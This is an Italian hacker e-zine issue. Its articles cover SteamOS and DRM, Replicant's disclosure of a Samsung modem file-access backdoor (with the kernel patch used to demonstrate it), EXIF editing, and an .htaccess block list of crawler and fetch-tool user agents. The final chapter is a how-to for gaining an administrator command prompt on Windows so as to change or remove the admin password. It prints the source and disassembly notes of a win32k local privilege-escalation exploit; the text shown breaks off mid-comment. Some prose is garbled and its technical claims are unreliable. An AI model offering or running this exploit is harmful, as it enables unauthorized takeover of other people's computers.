StartX Maggio-Vol1
Transcript
StartX Maggio-Vol1
Siate liberi siate liberi Steam OS strumento del potere samsung la nuova apple, un bene? exif date Ragni nella rete exploit locali in windows PERCHE QUESTA RIVISTA Questa rivista nasce sul pensiero che la gente vuole leggere notizie di informatica attuali e non può perchè non sempre le riviste italiane argomentano su tematiche di attualità, molte volte tacciono sistematicamente senza dire nulla. L'unica rivista che in italia faceva il suo lavoro egregiamente era hacker journal, le altre riviste invece continuano scrivendo ancora (merda) e la vendono al pubblico pensando solo al loro guadagno dato dalle vendite.Trattano argomenti come la sicurezza facendo sezioni hacker che mostrano exploit che settati mostrano il loro ip alla presunta vittima. Fanno sezioni gadget dove inneggiano oggetti perchè pagano la pubblicità, fanno pubblicità alle marche che sborsano denari. mettono tantissime pagine pubblicitarie solo perchè sono reditizie. Questa rivista invece sarà diversa, informazzione libera senza censure, ognuno potrà leggerla gratuitamente, le eventuali pubblicità che vedete non vengono pagate. Vengono usate forme di baratto che attraverso alcuni banner pubblicizzerò la rivista. Ogni articolo è stasto scritto con lo scopo di informare le persone in modo che sia utile e possa cosi aiutare a comprendere concetti, formule, e varie filosofie, offrendo ciò che le riviste italiane non danno piu da anni e con questo spero che un giorno le riviste italiane possano tornare a fare infomazione piu di quanto non fanno ora. Questa rivista inoltre e stata creata esclusivamente con strumenti opensource. Vago per le galssie, la gente mi chiama “capitan harlok”... vivo in liberta, per questo mare sconfinato, issando bandiera con un teschio, finche avro vita. E sotto la mia bandiera, sotto il mio vessillo io saro libero -cit. capitan harlok [afr0] Capitolo 1 steam OS strumento del potere contenuti: -steam -steam -steam -steam OS OS OS OS panoramica e il DRM e i blob conclusioni Dopo il rilascio del sistema operativo della valve (December 13, 2013), basato su debian, una trà le più efficenti e personalizzabili distro gnu/linux, e la creazione delle steam machine da parte di marche conosciute e non e la buona risposta ricevuta dal pubblico, incomincia a venire a galla il lato oscuro di steam. Se da un lato ha fatto rumor per la creazione del OS da parte dalla famosa casa valve (che deve i suoi successi alla vendita di gaming), essa sembra possedere un lato oscuro . Partiamo dai requisiti minimi di steam OS intel or AMD 64-bit capable processor 4 GiB or more main memory NVIDIA, AMD, or Intel graphics card 500 GB hard drive space Hardware non in linea con la filosofia gnu/linux, anche perchè non tutti gli utenti possono permettersi tali pezzi hardware, ma fin qui si potrebbe dire: “bhe ma è fatto per giocare” purtroppo è vero, vero che questa è solo la punta del lato oscuro di steam os. La parte sommersa di questo iceberg è quella che steam OS usa il DRM.. Cos’è il drm? Drm acronimo di “Digital restriction management” che riassunto sono delle restrizioni per l’utente, anche se era “nato” per evitare la pirateria, la copia, la condivisione di una canzone o la lettura di un ebook su un altro dispositivo. Ma in realtà viene usato per impedire all' utente di fare ciò che sarebbe possibile senza di esso. Questo permette il controllo sulla produzione e distribuzione di supporti, dando ai venditori ambulanti di DRM il potere di compiere enormi roghi di libri digitali e condurre la sorveglianza su larga scala controllando le abitudini delle persone, quindi possiamo pensare che steam OS sia stato creato per promuovere software proprietario e catalogare gli utenti. Un altro rumors ancora è quello della cartella non-free, ma partiamo dal nome non-free, che non sembra in linea col pensiero gnu/linux, ma andiamo con calma ad analizzare le sotto cartelle contenute in essa. Una volta aperta la cartella non-free troviamo al suo interno 4 cartelle nel seguente ordine: b,f,n,s. Ma cosa contengono al loro interno? La cartella .b. contiene un pacchetto in .deb. chiamato broadcom-sta ma cosè la broadcom? E' una azienda statunitense operante nel settore dei semiconduttori, dei circuiti integrati e nelle reti di telecomunicazione, fin quì non c’è nulla di male se non fosse per il loro codice e nella sezione non-free il primo campanello d’allarme. Nella cartella .f. troviamo una cartella chiamata firmwarenonfree al cui interno troviamo un file che leggendolo e andando in descrizione troviamo: “Description: Binary firmware for various drivers in the Linux kernel This package contains the binary firmware for various drivers in the Linux kernel. This is a collection of firmware blobs which are not individually large enough to warrant a standalone package.” Ma cosa ci sarà di strano, per chi non lo avesse notato troviamo il firmware blobs, questi “blob” non sono liberi. ma cosa sono i blob? Un Blob binario è un close source, Il termine si riferisce di solito ad una closed-source di moduli per il kernel caricati nel kernel open source di un sistema operativo. Ma possono causare problemi ad un utente? La risposta aimè è SI. In primo luogo la loro funzione non è resa nota e la presenza di bug all' interno di questo codice che essendo chiuso l'utente non può correggere e ancor meno modificare,quindi gli utenti sono tuttti esposti a rischi, nella più totale impotenza. Possono solo aspettare che gli sviluppatori risolvano il problema. In secondo luogo poiché il codice sorgente non è disponibile al conducente e quindi non può essere migliorato dagli utenti, né trasferito da una architettura all'altra che non sia inizialmente supportata. Infine, gli utenti sono costretti a fidarsi di venditori o terzi che non abbiano immesso in questo codice delle back - door o spyware. Ma passiamo alla cartella .n. che contiene i driver nvidia; su di essa non mi soffermerò piu di tanto. NVIDIA Ci sarebbe tantissimo da scrivere su questa grande industria ma non divaghiamo, cominciamo il discorso partendo da torvalds. Torvalds? Si, partiamo da un fatto che non tutti conoscono. Quache mese fa il nostro amato Linus Torvalds ha mandato a cagare la nvidia aggiungendo anche: "È la peggiore azienda con cui abbiamo avuto mai a che fare" Così ha sentenziato il guru. Torvalds ha aggiunto che per Nvidia il supporto a linux è una eccezione piuttosto che la regola e si è anche detto felice di poter inchiodare pubblicamente l'azienda alle sue responsabilità, prendendo spunto da una domanda fatta dal pubblico sul supporto della tecnologia Optimus, che permette l'uso del core grafico integrato o della GPU dedicata sui portatili secondo il carico di lavoro. Ma dopo qualche mese Nvidia dichiarerà il suo aiuto, però ora troviamo dei suoi “pezzi” in una cartella NON FREE in questo sistema e concludiamo con la cartella .s. che contiene il software steam. Per concludere questo iceberg è davvero grande ma la cosa che preoccupa è che è stato rilasciato come OS in linea con gnu/linux, ma dopo le prime analisi sembra in linea con tutto tranne che con gnu/linux… [articolo 100% afr0] Capitolo 2 samsung la nuova apple, un bene? contenuti: - Samsung la storia Il sucesso di samsung Le backdoor di samsung Il futuro di samsung? Samsung azienda nata nel lontano 1 marzo 1938 il cui nome significa tre stelle, oggi una delle aziende leader nel settore mobile, facendo ogni anno prodotti interessanti e non, negli ultimi anni uno dei prodotti che ha più spopolato è stato il Glaxy S3. Chi di noi non ne ha visto almeno uno, ma se da un lato questa azienda è amata dal publico, dall' altro ha fervidi oppositori vedi il colosso Apple che si batte con la sudetta per i brevetti. Nonostante ciò l'azienda continua a vendere nel mondo. Ma cosa ha reso così popolare Samsung nei dispositivi mobile? La risposta a questa domanda è molto semplice: Android. Si il sistema mobile google è stato adottato dalla Samsung ma come ogni azienda che lo uitilizza, anche Samsung ha personalizzato il suo Android profondamente aggiungendo funzioni utili, interessanti e non. Ma se dal lato industriale, produttivo ha raggiunto tutto questo sucesso, non significa che non possieda anche UN LATO OSCURO! Questo lato oscuro che di recente sta emergendo, grazie anche alla casa Replicant la quale ha scoperto back-door nei dispositivi Samsung. Ma In quali dispositivi e stata scoperta? Ma dove si trova esattamente questa back door?? La back-door si trova nella parte di codice che si occupa di gestire le comunicazioni del modem, infatti utilizzando il protocollo Samsung IPC si implementa una classe di richieste note come comandi RFS, che consentono al modem di eseguire a distanza le operazioni di I / O sulla memoria del telefono. Appena il modem va in esecuzione è il software proprietario stesso probabilmente ad offrire over-the-air, i quali potrebbero in seguito essere utilizzati per emettere i messaggi RFS incriminati e accedere al file system del telefono. L'analisi La seguente analisi è stata fatta dal team replicant ed è stata condotta utilizzando il libsec-ril.so file binario (il software proprietario incriminato), estratto dal CyanogenMod 10.1.3 sistema di zip per il Galaxy S 3 (I9300), dalla posizione system/lib/libsec-ril.so . Al fine di indagare la back-door e controllare ciò che effettivamente fa il modem. Quì sotto trovate il codice che è stato aggiunto al kernel driver del modem. Questo lo renderà operativo e inietterà le richieste che tramite i messaggi incriminati sarà possibile verificarne i risultati. La patch seguente: ____________________________________________________________ Subject: [PATCH] modem_if: Inject and intercept RFS I/O messages to perform open/read/close Signed-off-by: Paul Kocialkowski <[email protected]> --drivers/misc/modem_if/sipc4_io_device.c | 182 +++++++ +++++++++++++++++++++++++ 1 file changed, 182 insertions(+) diff --git a/drivers/misc/modem_if/sipc4_io_device.c b/drivers/misc/modem_if/sipc4_io_device.c index 28f95f7..413bea1 100644 --- a/drivers/misc/modem_if/sipc4_io_device.c +++ b/drivers/misc/modem_if/sipc4_io_device.c @@ -48,6 +48,8 @@ static const char hdlc_end[1] = { HDLC_END }; static int rx_iodev_skb(struct sk_buff *skb); +static int rfs_craft_start(struct io_device *iod); + static ssize_t show_waketime(struct device *dev, struct device_attribute *attr, char *buf) { @@ -685,6 +687,10 @@ static int rx_iodev_skb(struct sk_buff *skb) return rx_multi_fmt_frame(skb); case IPC_RFS: + dev_kfree_skb_any(skb); + mif_err("%s: Dropping RFS frame", __func__); + rfs_craft_start(iod); + return 0; default: skb_queue_tail(&iod->sk_rx_q, skb); mif_debug("wake up wq of %s\n", iod->name); @@ -1215,6 +1221,174 @@ static long misc_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) return 0; } +// Craft an internal SKB frame +static int rfs_craft_skb(struct sk_buff **skb_p, unsigned char command, void *data, int length) +{ + struct sk_buff *skb = NULL; + struct rfs_hdr rfs_header; + int frame_length; + static unsigned char id = 0x0B; + + frame_length = sizeof(rfs_header) + length; + + rfs_header.len = frame_length; + rfs_header.cmd = command; + rfs_header.id = id; + + skb = alloc_skb(frame_length, GFP_KERNEL); + if (!skb) { + mif_err("fail alloc skb (%d)\n", __LINE__); + return -ENOMEM; + } + + memcpy(skb_put(skb, sizeof(rfs_header)), &rfs_header, sizeof(rfs_header)); + memcpy(skb_put(skb, length), data, length); + + *skb_p = skb; + + id++; + + return 0; +} + +// This is to start the RFS exchange, called when the first legitimate RFS frame is received +static int rfs_craft_start(struct io_device *iod) +{ + struct sk_buff *skb = NULL; + unsigned char buffer[100] = { 0 }; + unsigned char *p = NULL; + char path[] = "../../data/radio/test"; + int mode, path_length = 0; + int length = 0; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + static int started = 0; if (started) return 0; mif_err("%s: Crafting open\n", __func__); p = &buffer; length = 0; mode = O_RDWR; memcpy(p, &mode, sizeof(mode)); p += sizeof(mode); length += sizeof(mode); path_length = strlen(path); memcpy(p, &path_length, sizeof(path_length)); p += sizeof(path_length); length += sizeof(path_length); memcpy(p, &path, path_length); length += path_length; // IPC_RFS_OPEN_FILE rfs_craft_skb(&skb, 0x11, &buffer, length); if (skb != NULL) { mif_err("%s: Adding SKB to queue\n", __func__); skb_queue_head(&iod->sk_rx_q, skb); wake_up(&iod->wq); } started = 1; + return 0; +} + +// This is called upon user-space response to our crafted messages +static int rfs_craft_write(struct io_device *iod, void *data, int size) +{ + struct sk_buff *skb = NULL; + unsigned char buffer[100] = { 0 }; + struct rfs_hdr *rfs_header; + unsigned char *p; + int length; + int read_length; + static int fd = -1; + int errno; + + rfs_header = (struct rfs_hdr *) data; + + switch (rfs_header->cmd) { + case 0x11: // IPC_RFS_OPEN_FILE + p = data + sizeof(struct rfs_hdr); + + fd = *((int *) p); + p += sizeof(fd); + errno = *((int *) p); + + mif_err("%s: Open response: fd=%d, errno= %d\n", __func__, fd, errno); + + if (fd < 0 || errno) + break; + + p = &buffer; + length = 0; + + memcpy(p, &fd, sizeof(fd)); + p += sizeof(fd); + length += sizeof(fd); + + read_length = 12; + memcpy(p, &read_length, sizeof(read_length)); + p += sizeof(read_length); + length += sizeof(read_length); + + // IPC_RFS_READ_FILE + rfs_craft_skb(&skb, 0x03, &buffer, length); + if (skb != NULL) { + mif_err("%s: Adding SKB to queue\n", __func__); + skb_queue_head(&iod->sk_rx_q, skb); + wake_up(&iod->wq); + } + + break; + case 0x03: // IPC_RFS_READ_FILE + p = data + sizeof(struct rfs_hdr); + + read_length = *((int *) p); + p += sizeof(read_length); + + // Unknown int, perhaps offset + p += sizeof(int); + + mif_err("%s: Read response: %d bytes read\n", __func__, read_length); + mif_print_data(p, read_length); + + p = &buffer; + length = 0; + + if (unlikely(fd < 0)) + break; + + memcpy(p, &fd, sizeof(fd)); + p += sizeof(fd); + length += sizeof(fd); + + // IPC_RFS_CLOSE_FILE + rfs_craft_skb(&skb, 0x06, &buffer, length); + if (skb != NULL) { + mif_err("%s: Adding SKB to queue\n", __func__); + skb_queue_head(&iod->sk_rx_q, skb); + wake_up(&iod->wq); + } + + fd = -1; + + break; + default: + p = data + sizeof(struct rfs_hdr); + + mif_err("%s: Rx RFS message with command 0x%x and size %d\n", __func__, rfs_header->cmd, size); + mif_print_data(p, size - sizeof(struct rfs_hdr)); + break; + } + + return 0; +} + static ssize_t misc_write(struct file *filp, const char __user *buf, size_t count, loff_t *ppos) { @@ -1278,6 +1452,14 @@ static ssize_t misc_write(struct file *filp, const char __user *buf, skb_put(skb, calc_padding_size(iod, ld, skb->len)); + if (iod->format == IPC_RFS) { + mif_err("%s: Intercepted RFS response", __func__); + rfs_craft_write(iod, skb->data + SIZE_OF_HDLC_START, skb->len - SIZE_OF_HDLC_START - SIZE_OF_HDLC_END); + + dev_kfree_skb_any(skb); + return count; + } + #if 0 if (iod->format == IPC_FMT) { mif_err("\n<%s> Tx HDLC FMT frame (len %d)\n", -1.8.5.3 // salvarla in .patch Ma come applicarlo? Da applicare al kernel 4.2 SMDK4412 Replicant, implementa un utilizzo campione della back-door, aprire il /data/radio/test e di seguito chiudere il file. Questo dimostra che il software incriminato eseguirà delle operazioni su richiesta del modem. Si noti che l'implementazione del software aggiunge /efs/root/ al percorso previsto, ma è abbastanza semplice sfuggire a tale percorso e chiedere qualsiasi file residente nel file system (usando ../../ ). Si noti che i file vengono aperti con autorizzazioni utente del software incriminato, che può essere root su alcuni dispositivi. In altri casi, le sue piste come utente senza privilegi, che possono ancora accedere ai dati personali dell'utente ( /sdcard ). Infine, alcuni dispositivi possono implementare SELinux, che limita considerevolmente la portata di eventuali file a cui il modem può accedere, compresi i dati personali dell'utente ( /sdcard/ ). Come primo approccio, utilizzando uno strumento contro il programma incriminato esso rivela numerosi nomi di comandi sospetti che sembrano essere le definizioni dei protocolli Samsung IPC: IPC_RFS_READ_FILE IPC_RFS_WRITE_FILE IPC_RFS_LSEEK_FILE IPC_RFS_CLOSE_FILE IPC_RFS_PUT_FILE IPC_RFS_GET_FILE IPC_RFS_RENAME_FILE IPC_RFS_GET_FILE_INFO IPC_RFS_UNLINK_FILE IPC_RFS_MAKE_DIR IPC_RFS_REMOVE_DIR IPC_RFS_OPEN_DIR IPC_RFS_READ_DIR IPC_RFS_CLOSE_DIR IPC_RFS_OPEN_FILE IPC_RFS_FTRUNCATE_FILE IPC_RFS_GET_HANDLE_INFO IPC_RFS_CREATE_FILE I nomi di questi comandi rendono evidente che hanno lasciato il modem eseguire le operazioni di I / O. Lo strumento rivela anche: corrispondenti nomi di funzioni che sembrano implementare la gestione di questi comandi: RxRFS_GetFile RxRFS_CreateFile RxRFS_ReadDirectory RxRFS_OpenDirectory RxRFS_RenameFile RxRFS_Default RxRFS_OpenFile RxRFS_ReadFile RxRFS_FtruncateFile RxRFS_WriteFile RxRFS_GetFileInfoByHandle RxRFS_GetFileInfo RxRFS_PutFile RxRFS_LseekFile RxRFS_CloseFile RxRFS_DeleteFile RxRFS_MakeDirectory RxRFS_CloseDirectory RxRFS_RemoveDirectory TxRFS_CfrmCreateFile TxRFS_CfrmPutFile TxRFS_CfrmOpenDirectory TxRFS_CfrmGetFileInfo TxRFS_CfrmReadDirectory TxRFS_CfrmRenameFile TxRFS_CfrmCloseFile TxRFS_CfrmFtruncateFile TxRFS_CfrmGetFileInfoByHandle TxRFS_CfrmDeleteFile TxRFS_CfrmCloseDirectory TxRFS_CfrmRemoveDirectory TxRFS_CfrmMakeDirectory TxRFS_CfrmGetFile TxRFS_CfrmReadFile TxRFS_CfrmWriteFile TxRFS_CfrmLseekFile TxRFS_CfrmOpenFile Dando una occhiata più da vicino a queste funzioni, utilizzando objdump decompiler, si nota che essi sono effettivamente chiamati da ipc_recv_rfs funzione, chiamato da process_ipc_notify_message , che sembra gestire i messaggi ricevuti dal modem. Quindi possiamo dedurre che le funzioni incriminate sono effettivamente chiamate dal modem. Un ulteriore sguardo più da vicino a una di queste funzioni, ad esempio RxRFS_ReadFile che ci rivela più chiamate alla Procedura Linkage Table (PLT). Quindi crediamo che queste chiamate siano funzioni legate dalla libreria libc, in particolare di I / funzioni quali (in maniera generale) O-imparentato open , close , read , write ecc, messaggi ipc rfs. Le seguenti voci in tabella sono messaggi Samsung IPC RFS con il seguente valore esadecimale : IFORMAZZIONI FINALI I dispositivi interessati sono i modem che utilizzano il protocollo Samsung IPC, soprattutto Intel XMM6160 e modem Intel XMM6260. Si noti che nonostante questa back-door, i dispositivi che utilizzano questi modem hanno più probabilità di avere un buon isolamento al modem, rispetto ad altri dispositivi che utilizzano piattaforme Qualcomm. Tenete a mente che questa back-door è implementata nel software e può essere facilmente rimossa con l'installazione del software incriminato, per esempio installando Replicant. L'articolo e stato fatto prendendo gli strumenti dal sito ufficiale di replicant http://www.replicant.us Capitolo 3 exif date contenuti: - che cosa sono? - come posso estrarli? Exif abbreviazzione di Exchangeable image file format creato dalla: JEIDA (Japan Electronic Industries Development Association). Cosa sono gli Exif? Sono informazioni aggiuntive intrappolate dentro ad una immagine, dei semplici tag. Questi tag di metadati definiti nello standard Exif coprono un vasto spettro includendo: Informazioni di data e ora. Le fotocamere digitali registrano la data e ora corrente e molto altro durante la loro attività grazie a questi metadati. Impostazioni della fotocamera. Queste includono informazioni statiche come il modello ed il produttore della fotocamera, le informazioni varie per ciascuna immagine salvata come l'orientamento, l'apertura del diaframma, la velocità dello scatto, la lunghezza focale, il bilanciamento del bianco, e le informazioni di velocità ISO impostate. Una miniatura per visualizzare un'anteprima sul display LCD della fotocamera, nei file manager, oppure nei software di fotoritocco. Descrizioni ed informazioni di copyright. Informazzioni geografiche. Possono essere incluse informazioni relative alla locazione degli scatti, che potrebbero provenire da un ricevitore GPS connesso alla fotocamera; il formato standard per il salvataggio di queste informazioni spaziali è il GPX. Ma come si estraggono questi dati? ci sono vari modi per farlo, ma uno dei piu semplici e affidarsi a "lettori" online come exifdata.com oppure usare software da installare nel nostro computer. Ma fino a quanto sono attendibili? I dati exif si manipolano molto facilmente quindi a meno di non essere gli autori di una fotografia, non si può avere la certezza assoluta che essi corrispondano effettivamente all'immagine visualizzata. Come manipolare questi dati? Anche in questo caso possiamo usare una piattaforma web di nome thexifer.net [il nome e anche un link] quindi dirigiamoci sopra la piattaforma thexifer.net e carichiamo l'immagine. ora cliccate load the exif editor, e si aprirà l'editor a destra bene andiamo a vedere cosa eXif ci permette di modificare ma incominciamo a vedere lo scheletro del menu guardiamoli ora uno per uno incominciamo da exif data iptc tags gps tags xmp tag ora salviamo l'immagine cliccando submit changes [articolo 100% afr0] Capitolo 4 ragni nella rete contenuti: -cosa sono -come si usano -come ci difendiamo I cosidetti ragni detti anche crawler, sono dei software bot che analizzano una rete o un database, in modo automatico e ne salvano i contenuti, acquisendone di solito un copia testuale che inseriscono in un indice. Quando i ragni invadono la rete il funzionamento dei ragni nel web e molto semplice, al bot viene data una lista di url, il ragno la analizza e se in questi url è contenuto un hyperlink il ragno lo aggiunge alla lista precedente, cosi facendo aumenta continuamente la lista. Ma chi li usa? Questi ragni vengo usati dai motori di ricerca. Ogni volta che un motore di ricerca ci da un risultato, esso era gia stato spiderizzato in precedenza. Ecco una tabella dei principali motori e i nomi dei loro ragni. Esistono ragni open-source? Certo che si ecco una lista dei pricnipali ragni open-source DataparkSearch Ebot Wget Heritrix Htdig HTTrack JSpider Methabot Nutch WebVac WebSPHINX WIRE LWP Web Crawler Sherlock Holmes YaCy Ruya Universal Information Crawler Agent Kernel Squzer Arachnode.NET BBragnet Ma come li posso controllare? Questi ragni controllano tutte le cartelle del nostro server, però non sappiamo se i ragni non open source prendono solo gli hyperlink quindi per proteggersi bisogna avere un file nella cartella di root nel nostro server, questo file si chiama robots.txt Ma cosa dobbiamo scrivere in questo file? Molto semplicemente diremo a ogni ragno se può entrare e cosa non può vedere per fare un esempio User-agent: * // nome del ragno in questo caso essendoci il simbolo * la regola si applica a tutti i ragni Disallow: /cartella segreta/ /cartella segreta/ Request-rate: 1/5 ogni 5 secondi Visit-time: 0600-0845 AM e le 8:45 AM # Blocca la directory # Visita al massimo una pagina # Visita soltanto tra le 6:00 Ancora un esempio per bloccare i temutissimi ragni neri. Questo file invece va salvato in questo modo: Htaccess nella cartella public_html SetEnvIfNoCase ^User-Agent$ .*(aesop_com_spiderman| alexibot|backweb|bandit|batchftp|bigfoot) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(black.?hole|blackwidow| blowfish|botalot|buddy|builtbottough|bullseye) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(capture|fetch|finder| harvest|Java|larbin|libww|library|link|nutch|Retrieve) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(cheesebot|cherrypicker| chinaclaw|collector|copier|copyrightcheck|crawl) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(cosmos|crescent|curl| custo|da|diibot|disco|dittospyder|dragonfly) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(drip|easydl|ebingbong| ecatch|eirgrabber|emailcollector|emailsiphon) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(emailwolf|erocrawler| exabot|eyenetie|filehound|flashget|flunky) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(frontpage|getright| getweb|go.?zilla|go-ahead-got-it|gotit|grabnet) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(grafula|harvest|hloader| hmview|httplib|httrack|humanlinks|ilsebot) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(infonavirobot|infotekies| intelliseek|interget|iria|jennybot|jetcar) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(joc|justview|jyxobot| kenjin|keyword|larbin|leechftp|lexibot|lftp|libweb) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(likse|linkscan| linkwalker|lnspiderguy|lwp|magnet|mag-net|markwatch) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(mata.?hari|memo| microsoft.?url|midown.?tool|miixpc|mirror|missigua| mrsputnik) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(mister.?pix|moget| mozilla.?newt|nameprotect|navroad|backdoorbot|nearsite) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(net.?vampire|netants| netcraft|netmechanic|netspider|nextgensearchbot) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(attach|nicerspro| nimblecrawler|npbot|octopus|offline.?explorer) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(offline.?navigator| openfind|outfoxbot|pagegrabber|papa|pavuk) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(pcbrowser|php.? version.?tracker|pockey|propowerbot|prowebwalker) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(psbot|pump|queryn| recorder|realdownload|reaper|reget|true_robot) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(repomonkey|rma| internetseer|sitesnagger|siphon|slysearch|smartdownload) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(snake|snapbot|snoopy| sogou|spacebison|spankbot|spanner|sqworm|superbot) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(scraper|siphon|spider| tool|superhttp|surfbot|asterias|suzuran|szukacz|takeout| teleport) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(telesoft|the.? intraformant|thenomad|tighttwatbot|titan|urldispatcher) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(turingos|turnitinbot| urly.?warning|vacuum|vci|voideye|whacker) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(widow|wisenutbot| wwwoffle|xaldon|xenu|zeus|zyborg|anonymouse) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(craftbot|download| extract|stripper|sucker|ninja|clshttp|webspider|leacher| coll?ector|grabber|webpictures) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(libwww-perl| aesop_com_spiderman) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(libwww-perl|Purebot| Sosospider|AboutUsBot|Johnny5|Python-urllib|Yeti| TurnitinBot) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(GoScraper|Kehalim| DoCoMo|SurveyBot|spbot|BDFetch|EasyDL|CamontSpider| Chilkat|Z?mEu) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*(GoScraper|Kehalim| DoCoMo|SurveyBot|spbot|BDFetch|EasyDL|CamontSpider| Chilkat|Z?mEu) HTTP_SAFE_BADBOT SetEnvIfNoCase ^User-Agent$ .*web(zip|emaile|enhancer| fetch|go.?is|auto|bandit|clip|copier|master|reaper|sauger| site.?quester|whack) HTTP_SAFE_BADBOT <Limit GET POST> Order Allow,Deny Allow from all Deny from env=HTTP_SAFE_BADBOT </Limit> *add [articolo 100% afr0] Capitolo 5 exploit locali in windows contenuti: -cosa ci si fa? -il codice del' exploit -come pachettizarlo in .exe Vi siete mai chiesti come avere una cmd da admin senza dover ricorrere a quelle guide per scalare i privilegi di admin che la maggior parte delle volte non funzionano? Se la vostra risposta è stata si oggi vi farò una guida che grazie ad un exploit potrete ottenere una cmd con i privilegi di admin. Ma cosa ci si fa con una cmd come admin? Potete cambiare la stessa password dell' admin, togliere password, avviare software che normalmente richiederebbe l’approvazione dell’ admin. Bene cominciamo lavorando sul nostro pc su cui abbiamo già installato visual studio 10. Bene a questo punto procediamo a scaricare l’exploit che rilascio qui: #ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS #endif #include <stdio.h> #include <stdarg.h> #include <stddef.h> #include <windows.h> #include <assert.h> #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #include <ntstatus.h> #pragma #pragma #pragma #pragma #pragma comment(lib, "gdi32") comment(lib, "kernel32") comment(lib, "user32") comment(lib, "shell32") comment(linker, "/SECTION:.text,ERW") #ifndef PAGE_SIZE # define PAGE_SIZE 0x1000 #endif #define MAX_POLYPOINTS (8192 * 3) #define MAX_REGIONS 8192 #define CYCLE_TIMEOUT 10000 // // // // // // // // // // // // // // // // // // // // // // -------------------------------------------------Windows NT/2K/XP/2K3/VISTA/2K8/7/8 -------------------------------------------------INTRODUCTION ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this, PATHRECORD **pppr, ULONG *pcMax, ULONG cNeeded) .text:BFA122CA mov esi, [ebp+ppr] .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev] .text:BFA122D0 push edi .text:BFA122D1 mov edi, [ebp+pprNew] .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax .text:BFA122D7 lea eax, [edi+PATHRECORD.count] .text:BFA122DA xor edx, edx .text:BFA122DC mov [eax], edx .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] // .text:BFA122E1 and ecx, not (PD_BEZIER) // .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx // .text:BFA122E7 mov [ebp+pprNewCountPtr], eax // .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx // .text:BFA122ED jnz short loc_BFA122F7 // .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath] // .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi // // It turns out this mostly works because newpathrec() is backed by newpathalloc() // which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned. // // ; PVOID __stdcall PALLOCMEM(size_t size, int tag) // .text:BF9160D7 xor esi, esi // .text:BF9160DE push esi // .text:BF9160DF push esi // .text:BF9160E0 push [ebp+tag] // .text:BF9160E3 push [ebp+size] // .text:BF9160E6 call _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x) // .text:BF9160EB mov esi, eax // .text:BF9160ED test esi, esi // .text:BF9160EF jz short loc_BF9160FF // .text:BF9160F1 push [ebp+size] ; size_t // .text:BF9160F4 push 0 ; int // .text:BF9160F6 push esi ; void * // .text:BF9160F7 call _memset // // However, the PATHALLOC allocator includes it's own freelist implementation, and // if that codepath can satisfy a request the memory isn't zeroed and returned // directly to the caller. This effectively means that we can add our own objects // to the PATHRECORD chain. // // We can force this behaviour under memory pressure relatively easily, I just // spam HRGN objects until they start failing. This isn't super reliable, but it's // good enough for testing. // // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // // failure. Seriously, do some damn QA Microsoft, wtf. // for (Size = 1 << 26; Size; Size >>= 1) { // while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) // ; // } // // Adding user controlled blocks to the freelist is a little trickier, but I've // found that flattening large lists of bezier curves added with PolyDraw() can // accomplish this reliably. The code to do this is something along the lines of: // // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { // Points[PointNum].x = 0x41414141 >> 4; // Points[PointNum].y = 0x41414141 >> 4; // PointTypes[PointNum] = PT_BEZIERTO; // } // // for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { // BeginPath(Device); // PolyDraw(Device, Points, PointTypes, PointNum); // EndPath(Device); // FlattenPath(Device); // FlattenPath(Device); // EndPath(Device); // } // // We can verify this is working by putting a breakpoint after newpathrec, and // verifying the buffer is filled with recognisable values when it returns: // // kd> u win32k!EPATHOBJ::pprFlattenRec+1E // win32k!EPATHOBJ::pprFlattenRec+0x1e: // 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69) // 